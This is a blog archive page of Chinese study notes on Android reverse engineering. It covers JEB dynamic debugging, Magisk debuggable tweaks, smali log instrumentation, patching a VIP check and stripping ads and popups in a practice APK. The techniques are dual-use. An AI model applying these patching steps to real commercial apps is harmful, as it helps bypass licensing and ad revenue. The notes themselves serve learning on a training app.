一、基本概念1.1 动态调试动态调试是指自带的调试器跟踪自己软件的运行,可以在调试的过程中知道参数或者局部变量的值记忆捋清代码运行的先后顺序。多用于爆破注册码(CTF必备技能)1.2 Log插桩Log插桩是指在反编译APK文件时,在对应的smali文件里,添加相应的smali代码,将程序的关键信息,以log日志的形式进行输出。二、动态调试2.1 修改debug权限方法一:在AndroidManifest.xml里添加可调试权限android:debuggable="true"方法二:XappDebug模块hook对应的app项目地址XappDebughttps://github.com/Palatis/XAppDebug方法三:Magisk命令(重启失效)1. adb shell # adb进入命令行模式 2. su # 切换至超级用户 3. magisk resetprop ro.debuggable 1 4. stop;start; # 一定要通过该方式重启方法四:刷入MagiskHide Props Config模块(永久有效)一般来说,在4选项中如果有ro.debuggable那就直接修改没有的话就选5修改ro.debuggable的值为12.2 端口转发以及开启adb权限版本后点击七次开启开发者模式并开启adb调试权限夜神模拟器: adb connect 127.0.0.1:620012.3 下端点Jeb里使用ctrl + b下断点2.4 debug模式启动adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity adb shell am start -D -n 包名/类名am start -n 表示启动一个activityam start -D 表示将应用设置为可调试模式2.5 Jeb附加调试进程快捷键作用F6进入方法F7从方法中跳出来F8 R运行到光标处三、修改debug权限实操3.1 修改AndroidManifest3.2 XAppDebug模块3.3 Magisk命令上文3.4 MigiskHide Props Config安装模块打开Mt管理器终端模拟器输入props进入模块然后按照上文操作即可四、追码练习4.1 开发者选项开启USB调试,目标App要开启Debug调试4.2 apk拖入JEB,搜索关键字密钥错误发现关键点是if(this.check(((EditText)this.findViewById(0x7F0800AC)).getText().toString())) { // id:edit_check Context context0 = (Context)this; Toast.makeText(context0, "恭喜你,密钥正确!", 1).show(); SPUtils.INSTANCE.saveInt(context0, "level", 3); return; } Toast.makeText(((Context)this), "密钥错误哦,再想想!", 1).show();4.3 继续追check方法,双击方法名进入public final boolean check(String s) { int v = 0; Integer integer0 = null; if(!StringsKt.startsWith$default(s, "flag{", false, 2, null)) { return false; } if(!StringsKt.endsWith$default(s, "}", false, 2, null)) { return false; } String s1 = s.substring(5, s.length() - 1); Intrinsics.checkNotNullExpressionValue(s1, "this as java.lang.String…ing(startIndex, endIndex)"); String s2 = SPUtils.INSTANCE.getString(((Context)this), "id", ""); if(s2 != null) { integer0 = (int)s2.length(); } int v1 = 1000; Intrinsics.checkNotNull(integer0); int v2 = (int)integer0; if(v2 >= 0) { while(true) { v1 += -7; if(v == v2) { break; } ++v; } } byte[] arr_b = Encode.encode(s2 + v1).getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(arr_b, "this as java.lang.String).getBytes(charset)"); return Intrinsics.areEqual(s1, Base64Utils.INSTANCE.encodeToString(arr_b)); }首先密钥必须以flag{开头,以}结尾然后回取出除开头和结尾中间的内容和一个base64加密的字符串进行比对base64加密的数据是由s2(打开软件注册的用户名) + v1(整数常量组成),当s2固定时base64加密的结果也就固定了。下一步就需要对加密结果打断点4.4 app开启调试4.5 Jeb附加调试进程然后再去应用模拟验证一下已经成功断点了,右边的寄存器也能看到局部变量此时已拿到密钥:5YaF57OkDAUM五、Log插桩5.1 日志插桩dex注入5.2 代码关键处添加输出invoke-static {对应寄存器}, Lcom/mtools/LogUtils;->v(Ljava/lang/Object;)V5.3 使用算法助手查看日志然后启动 去触发一下关键点拿到密钥实战反编译发现程序逻辑如下:可以直接通过程序跑出来结果:let str = 'e10adc3949ba59abbe56e057f20f883e'; // 对 123456 进行md5 再转 十六进制的结果 let sb = '' for(let i = 0;true;i+=2){ if(i >= str.length){ console.log(sb); return sb == '123'; } // 将 str i位置上的字符追加到sb中 sb += str.charAt(i); }引用1.《安卓逆向这档事》五、1000-7=?&动态调试&Log插桩:https://www.52pojie.cn/thread-1714727-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》五、1000-7? & 动态调试&Log插桩:https://www.bilibili.com/video/BV1hg411q7dj/3.JEB动态调试Smali-真机/模拟器(详细,新手必看):https://www.52pojie.cn/thread-1598242-1-1.html4.Log简易打印工具,超简单的调用方法:https://www.52pojie.cn/thread-411454-1-1.html5.Android修改ro.debuggable 的四种方法:https://blog.csdn.net/jinmie0193/article/details/111355867
2023年07月26日
640 阅读
0 评论
0 点赞
2023-07-25
第三篇Android逆向:去除广告和弹窗
一、基本概念1.1 安卓四大组件组件描述Activity(活动)在应用中的一个Activity可以用来表示一个界面,意思可以理解为“活动”,即一个活动开始,代表 Activity组件启动,活动结束,代表一个Activity的生命周期结束。一个Android应用必须通过Activity来运行和启动,Activity的生命周期交给系统统一管理。Service(服务)Service它可以在后台执行长时间运行操作而没有用户界面的应用组件,不依赖任何用户界面,例如后台播放音乐,后台下载文件等。Broadcast Receiver(广播接收器)一个用于接收广播信息,并做出对应处理的组件。比如我们常见的系统广播:通知时区改变、电量低、用户改变了语言选项等。Content Provider(内容提供者)作为应用程序之间唯一的共享数据的途径,Content Provider主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。Android内置的许多数据都是使用Content Provider形式,供开发者调用的(如视频,音频,图片,通讯录等)1.2 activity的切换<!---声明实现应用部分可视化界面的 Activity,必须使用 AndroidManifest 中的 <activity> 元素表示所有 Activity。系统不会识别和运行任何未进行声明的Activity。-----> <activity android:label="@string/app_name" android:name="com.zj.wuaipojie.ui.MainActivity" android:exported="true"> <!--当前Activity是否可以被另一个Application的组件启动:true允许被启动;false不允许被启动--> <!---指明这个activity可以以什么样的意图(intent)启动---> <intent-filter> <!--表示activity作为一个什么动作启动,android.intent.action.MAIN表示作为主activity启动---> <action android:name="android.intent.action.MAIN" /> <!--这是action元素的额外类别信息,android.intent.category.LAUNCHER表示这个activity为当前应用程序优先级最高的Activity--> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="com.zj.wuaipojie.ui.ChallengeFirst" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFifth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFourth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeThird" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeSecond" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.AdActivity" /> 启动广告流程:启动Activity->广告Activity->主页Activity修改方法:1.修改加载时间2.Acitivity切换定位,修改Intent的Activity类名switch (position) { case 0: Intent intent = new Intent(); intent.setClass(it.getContext(), ChallengeFirst.class); it.getContext().startActivity(intent); return; case 1: Intent intent2 = new Intent(); intent2.setClass(it.getContext(), ChallengeSecond.class); it.getContext().startActivity(intent2); return; case 2: Intent intent3 = new Intent(); //new一个Intent, intent3.setClass(it.getContext(), AdActivity.class); //传入要切换的Acitivity的类名 it.getContext().startActivity(intent3); //启动对应的Activity return; case 3: Intent intent4 = new Intent(); intent4.setClass(it.getContext(), ChallengeFourth.class); it.getContext().startActivity(intent4); return; default: return; }1.3 Activity生命周期函数名称描述onCreate()一个Activity启动后第一个被调用的函数,常用来在此方法中进行Activity的一些初始化操作。例如创建View,绑定数据,注册监听,加载参数等。onStart()当Activity显示在屏幕上时,此方法被调用但此时还无法进行与用户的交互操作。onResume()这个方法在onStart()之后调用,也就是在Activity准备好与用户进行交互的时候调用,此时的Activity一定位于Activity栈顶,处于运行状态。onPause()这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用,通常在这个方法中执行一些释放资源的方法,以及保存一些关键数据。onStop()这个方法是在Activity完全不可见的时候调用的。onDestroy()这个方法在Activity销毁之前调用,之后Activity的状态为销毁状态。onRestart()当Activity从停止stop状态恢进入start状态时调用状态。1.4 弹窗定位&堆栈分析修改方法:1.修改xml中的versioncode2.Hook弹窗(推荐算法助手开启弹窗定位)3.修改dex弹窗代码4.抓包修改响应体(也可以路由器拦截)1.5 布局优化1.开发者助手抓布局2.MT管理器xml搜索定位3.修改xml代码android:visibility="gone"二、练习2.1 去开屏广告首先定位到这个Activity弹出的广告的是com.zj.wuaipojie.ui.AdActivity,mt管理器进行搜索类名.method private final loadAd()V .registers 5 .line 27 new-instance v0, Landroid/os/Handler; invoke-direct {v0}, Landroid/os/Handler;-><init>()V new-instance v1, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0; invoke-direct {v1, p0}, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0;-><init>(Lcom/zj/wuaipojie/ui/AdActivity;)V // v2赋值0xbb8 即3000毫秒 = 3秒 const-wide/16 v2, 0xbb8 // 调用延时的方法postDelayed 意为3秒后广告结束 切入主窗口 // 这里的参数 vo 代表 Handler的引用 v1 表示Runnable的引用 v2表示时长的引用 v3没有用到忽略 invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z return-void .end method2.1.1 修改广告时长了解v2寄存器存储广告时长后可以直接赋值为0x0变相实现跳过但其实还是会跳转到AdActivity2.1.2 修改Activity切换重新搜索Lcom/zj/wuaipojie/ui/AdActivity;类型选择代码,目的是定位在smali层面哪里调用了AdActivity就可以找到切换Activity的逻辑。2.1.3 修改AndroidManifest将启动类的名称直接修改为ChallengeThird不推荐,容易跳过应用内部加载数据的逻辑2.2 跳弹窗广告2.2.1 版本更新广告方式一:修改AndroidManifest.xml中的versionCode<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1"># 由1改成2即可过 </manifest> 方式二:直接注释掉弹窗代码1.直接根据文件内容搜索有新版本需要更新 得到布局文件为y4.xml2.使用Arsc编辑器打开resources.arsc得到布局名称为fragment_update,再在Dex编辑器++中根据代码搜索,得到对应的资源Id0x7f0b003a在搜索整数十六进制,拿到关键类DialogUtilsKt,这是一个工具类,只需要找到在主Activity中调用的位置进行注释即可。3.定位DialogUtilsKt的使用注释掉即可。2.2.2 普通弹窗分别是可回退跳过和不可回退跳过的类型。2.2.2.1 算法助手的使用勾选上后原先无法使用回退的弹窗也可以进行返回取消了。查看使用日志分析发现是在ChallengeThird.onCreate生命周期内调用的方法。 protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(2131427361); Context context = (Context) this; Builder builder = new Builder(context); builder.setTitle("这是二号广告标题"); builder.setMessage("这是二号广告内容"); builder.setCancelable(false); String str = "前往论坛"; builder.setPositiveButton(str, new ExternalSyntheticLambda1(this)); String str2 = "退出软件"; builder.setNegativeButton(str2, ExternalSyntheticLambda2.INSTANCE); builder.show(); new CommonDialog.Builder(context).setMessage("一号广告弹窗已就位").setNegativeButton(str2, ExternalSyntheticLambda3.INSTANCE).setMessageColor(-16777216).setPositiveButton(str, new ExternalSyntheticLambda0(this)).setWith(0.8f).create().show(); checkUpdate(); }直接切到smali下将两个show的调用注释即可。2.3 去横幅遮挡广告1.首先定位元素Id(Hex):0x7f0801ca直接将宽高改为0dp或添加属性android:visibility="gone"三、课后作业这里发现有三个方法 三处show调用。方法一: show全部注释掉即可。方法二:查看每个方法的调用找到真正的函数调用,并从调用处解决引用1.《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.52pojie.cn/thread-1706691-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.bilibili.com/video/BV14v4y1D7yA/3.算法助手!基于Xposed的通用Hook工具:https://bbs.kanxue.com/thread-267985.htm
2023年07月25日
729 阅读
0 评论
0 点赞
2023-07-24
第二篇Android逆向:初识smali破解vip
一、基本概念1.什么是JVM、Dalvik、ARTJVM是JAVA虚拟机,运行JAVA字节码程序Dalvik是Google专门为Android设计的一个虚拟机,Dalvik有专属的文件执行格式dex(Dalvik executable)Art(Android Runtime)相当于Dalvik的升级版,本质与Dalvik无异2.smali及其语法smali是Dalvik的寄存器语言,smali代码是dex反编译而来的。关键字名称注释.class类名.super父类名,继承的上级类名名称.source源名.field变量.method方法名.register寄存器.end method方法名的结束public公有protected半公开,只有同一家人才能用private私有,只能自己使用.parameter方法参数.prologue方法开始.line xxx位于第xxx行数据类型对应smali类型java类型注释Vvoid无返回值Zboolean布尔值类型,返回0或1Bbyte字节类型,返回字节Sshort短整数类型,返回数字Cchar字符类型,返回字符Iint整数类型,返回数字Jlong (64位 需要2个寄存器存储)长整数类型,返回数字Ffloat单浮点类型,返回数字Ddouble (64位 需要2个寄存器存储)双浮点类型,返回数字stringString文本类型,返回字符串Lxxx/xxx/xxxobject对象类型,返回对象常用指令关键字注释const重写整数属性,真假属性内容,只能是数字类型const-string重写字符串内容const-wide重写长整数类型,多用于修改到期时间。return返回指令if-eq全称equal(a=b),比较寄存器ab内容,相同则跳if-ne全称not equal(a!=b),ab内容不相同则跳if-eqz全称equal zero(a=0),z即是0的标记,a等于0则跳if-nez全称not equal zero(a!=0),a不等于0则跳if-ge全称greater equal(a>=b),a大于或等于则跳if-le全称little equal(a<=b),a小于或等于则跳goto强制跳到指定位置switch分支跳转,一般会有多个分支线,并根据指令跳转到适当位置iget获取寄存器数据其余指令可用语法工具查询定位方法:搜索弹窗关键字、抓取按钮id例子://一个私有、静态、不可变的方法 方法名 .method private static final onCreate$lambda-2(Lkotlin/jvm/internal/Ref$IntRef;Lcom/zj/wuaipojie/ui/ChallengeSecond;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/view/View;)Z //(这里面是方法的参数)这里是方法返回值类型,表示布尔值类型,返回假或真 .registers 7 //寄存器数量 .line 33 //代码所在的行数 iget p0, p0, Lkotlin/jvm/internal/Ref$IntRef;->element:I //读取p0(第一个参数,参考寄存器知识)中element的值赋值给p0 const/4 p5, 0x1 //p5赋值1 const/16 v0, 0xa //v0赋值10,在16进制里a表示10 if-ge p0, v0, :cond_15 //判断p0的值是否大于或等于v0的值(即p0的值是否大于或等于10),如果大于或等于则跳转到:cond_15 .line 34 //以下是常见的Toast弹窗代码 check-cast p1, Landroid/content/Context; //检查Context对象引用 const-string p0, "请先获取10个硬币哦" //弹窗文本信息,把""里的字符串数据赋值给p0 check-cast p0, Ljava/lang/CharSequence; //检查CharSequence对象引用 invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; //将弹窗文本、显示时间等信息传给p1 move-result-object p0 //结果传递给p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V //当看到这个Toast;->show你就应该反应过来这里是弹窗代码 goto :goto_31 //跳转到:goto_31 :cond_15 //跳转的一个地址 invoke-virtual {p1}, Lcom/zj/wuaipojie/ui/ChallengeSecond;->isvip()Z //判断isvip方法的返回值是否为真(即结果是否为1) move-result p0 //结果赋值给p0 if-eqz p0, :cond_43 //如果结果为0则跳转cond_43地址 const p0, 0x7f0d0018 //在arsc中的id索引,这个值可以进行查询 .line 37 invoke-virtual {p2, p0}, Landroid/widget/ImageView;->setImageResource(I)V //设置图片资源 const p0, 0x7f0d0008 .line 38 invoke-virtual {p3, p0}, Landroid/widget/ImageView;->setImageResource(I)V const p0, 0x7f0d000a .line 39 invoke-virtual {p4, p0}, Landroid/widget/ImageView;->setImageResource(I)V .line 40 sget-object p0, Lcom/zj/wuaipojie/util/SPUtils;->INSTANCE:Lcom/zj/wuaipojie/util/SPUtils; check-cast p1, Landroid/content/Context; const/4 p2, 0x2 //p2赋值2 const-string p3, "level" //sp的索引 invoke-virtual {p0, p1, p3, p2}, Lcom/zj/wuaipojie/util/SPUtils;->saveInt(Landroid/content/Context;Ljava/lang/String;I)V //写入数据 goto :goto_50 //跳转地址 :cond_43 check-cast p1, Landroid/content/Context; const-string p0, "\u8bf7\u5148\u5145\u503c\u5927\u4f1a\u5458\u54e6\uff01" //请先充值大会员哦! check-cast p0, Ljava/lang/CharSequence; invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; move-result-object p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V :goto_50 return p5 //返回p5的值 .end method //方法结束 //判断是否是大会员的方法 .method public final isvip()Z .registers 2 const/4 v0, 0x0 //v0赋值0 return v0 //返回v0的值 .end method修改方法:修改判断、强制跳转、修改寄存器的值3.寄存器在smali里的所有操作都必须经过寄存器来进行:本地寄存器用v开头数字结尾的符号来表示,如v0、 v1、v2。 参数寄存器则使用p开头数字结尾的符号来表示,如p0、p1、p2。特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this",p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法)二、实现修改教程中使用的是jadx来分析smail代码,然后通过mt管理器打包修改。最近逛看雪论坛发现一个神器GDA,可以分析并直接完成打包。目标: 长按一键三连按钮可以点亮图标2.1 定位关键类2.1.1 搜索关键字直接搜索关键字大会员2.1.2 抓取按钮id分析界面布局,获取控件Id-Hex切换Mt管理器,使用Dex编辑器++打开Classes.dex,搜索控件2.2 修改方式2.2.1 修改判断分析图按下R重打包运行2.2.2 强制跳转2.2.3 修改寄存器的值三、实战demo搜索关键字登录失败可以直接拿到密钥引用1.《安卓逆向这档事》三、初识smali,vip终结者:https://www.52pojie.cn/thread-1701353-1-1.html2.[原创]基于Smali即时编译的DEX静态补丁技术实现:https://bbs.kanxue.com/thread-278098.htm3.GDA-android-reversing-Tool:https://github.com/charles2gan/GDA-android-reversing-Tool4.GJoy Dex Analyzer(GDA),亚洲第一款全交互式的现代反编译器,同时也是世界上最早实现的dalvik字节码反编译器。:http://www.gda.wiki:9090/
2023年07月24日
635 阅读
0 评论
0 点赞
2023-07-23
第一篇Android逆向:App双开、汉化、基本内容修改
一、基本概念1.1 Magisk介绍Magisk 是一套用于定制 Android 的开源软件,支持高于 Android 5.0 的设备。以下是一些功能亮点:MagiskSU:为应用程序提供 root 访问权限Magisk 模块:通过安装模块修改只读分区MagiskHide:从根检测 / 系统完整性检查中隐藏 Magisk(Shamiko)MagiskBoot : 最完整的安卓启动镜像解包和重新打包工具1.2 Apk结构apk 全称 Android Package,它相当于一个压缩文件,只要在电脑上将apk后缀改为zip即可解压。文件注释assets目录存放APK的静态资源文件,比如视频,音频,图片等lib 目录armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件META-INF目录保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否被修改)res目录res目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layout文件设计AndroidMainfest.xml文件APK的应用清单信息,它描述了应用的名字,版本,权限,引用的库文件等等信息classes.dex文件classes.dex是java源码编译后生成的java字节码文件,APK运行的主要逻辑resources.arsc文件resources.arsc是编译后的二进制资源文件,它是一个映射表,映射着资源和id,通过R文件中的id就可以找到对应的资源二、 双开及原理双开:简单来说,就是手机同时运行两个或多个相同的应用,例如同时运行两个微信原理解释修改包名让手机系统认为这是2个APP,这样的话就能生成2个数据存储路径,此时的多开就等于你打开了两个互不干扰的APP修改Framework对于有系统修改权限的厂商,可以修改Framework来实现双开的目的,例如:小米自带多开通过虚拟化技术实现虚拟Framework层、虚拟文件系统、模拟Android对组件的管理、虚拟应用进程管理 等一整套虚拟技术,将APK复制一份到虚拟空间中运行,例如:平行空间以插件机制运行利用反射替换,动态代理,hook了系统的大部分与system—server进程通讯的函数,以此作为“欺上瞒下”的目的,欺骗系统“以为”只有一个apk在运行,瞒过插件让其“认为”自己已经安装。例如:VirtualApp2.1 修改包名NT管理器安装包提取点击提取的Apk,选择APK共存修改包名简单情况下实现APK共存2.2 修改Framework2.3 通过虚拟化技术实现2.4 以插件机制运行三、 汉化APK汉化:使用专门的工具对外文版的软件资源进行读取、翻译、修改、回写等一系列处理,使软件的菜单、对话框、提示等用户界面显示为中文,而程序的内核和功能保持不变,这个过程即为软件汉化基本上字符串都是在arsc里,建议一键汉化,然后再润色。少量没汉化到的字符串参考视频中的方法定位去逐个汉化。3.1 流程图这里还需要注意的是,如果要直装应用,那就应该先签名安装,看看是否有签名校验导致的闪退简单的汉化有三个分支Arsc汉化Xml汉化Dex汉化教程中还提到较为复杂的so层面的字符串资源3.2 Xml汉化汉化前:1.全局搜索文件内容Hello 52pojie2.字符常量池打开资源文件3.字符串编辑4.更新并自动签名5.完成3.3 Arsc汉化接着替换下方的俄文,使用开发者助手检索界面资源复制文本后再次使用MT管理器进行搜索Я не могу поверить, что это работает, почему?选择翻译模式定位到要翻译的字符串后进行编辑完成汉化3.4 dex汉化这次要替换掉 Reverse determines height, development determines depth.这段文本还是先搜索再在Dex编辑器++中搜索直接进行替换即可完成汉化四、修改应用名称和图标4.1 初识AndroidManifest.xmlAndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。它描述了package中暴露的组件,他们各自的实现类,各种能被处理的数据和启动位置。属性定义versionCode版本号,主要用来更新,例如:12versionName版本名,给用户看的,例如:1.2package包名,例如:com.zj.52pj.demouses-permission android:name=""应用权限,例如:android.permission.INTERNET 代表网络权限android:label="@string/app_name"应用名称android:icon="@mipmap/ic_launcher"应用图标路径android:debuggable="true"应用是否开启debug权限4.2 修改测试切换到NT管理器修改成功五、修改应用内图标对图中的表情包进行替换首先找到对应的布局文件,查看ImageView的资源ID:@7F0D000B使用Arsc编辑方式打开resources.arsc,搜索资源ID再去搜索first_img定位图片哦~原来first_img已经在对应资源图片了,那我直接修改它的映射关系改成D2.png完成引用1.《安卓逆向这档事》一、模拟器环境搭建:https://www.52pojie.cn/thread-1695141-1-1.html2.《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.52pojie.cn/thread-1695796-1-1.html3.吾爱破解安卓逆向入门教程《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.bilibili.com/video/BV18G411j7gV/?spm_id_from=333.788&vd_source=33cfe7dc102c64b5cac16bcfaad7f2a84.[更新!]适用于几乎所有安卓模拟器(7+)安装magisk的教程-简单无脑向:https://www.52pojie.cn/thread-1583586-1-1.html5.【VirtualAPP 双开系列08】如何实现多开 - UID:https://blog.csdn.net/u014294681/article/details/116270479
2023年07月23日
649 阅读
0 评论
0 点赞
1
2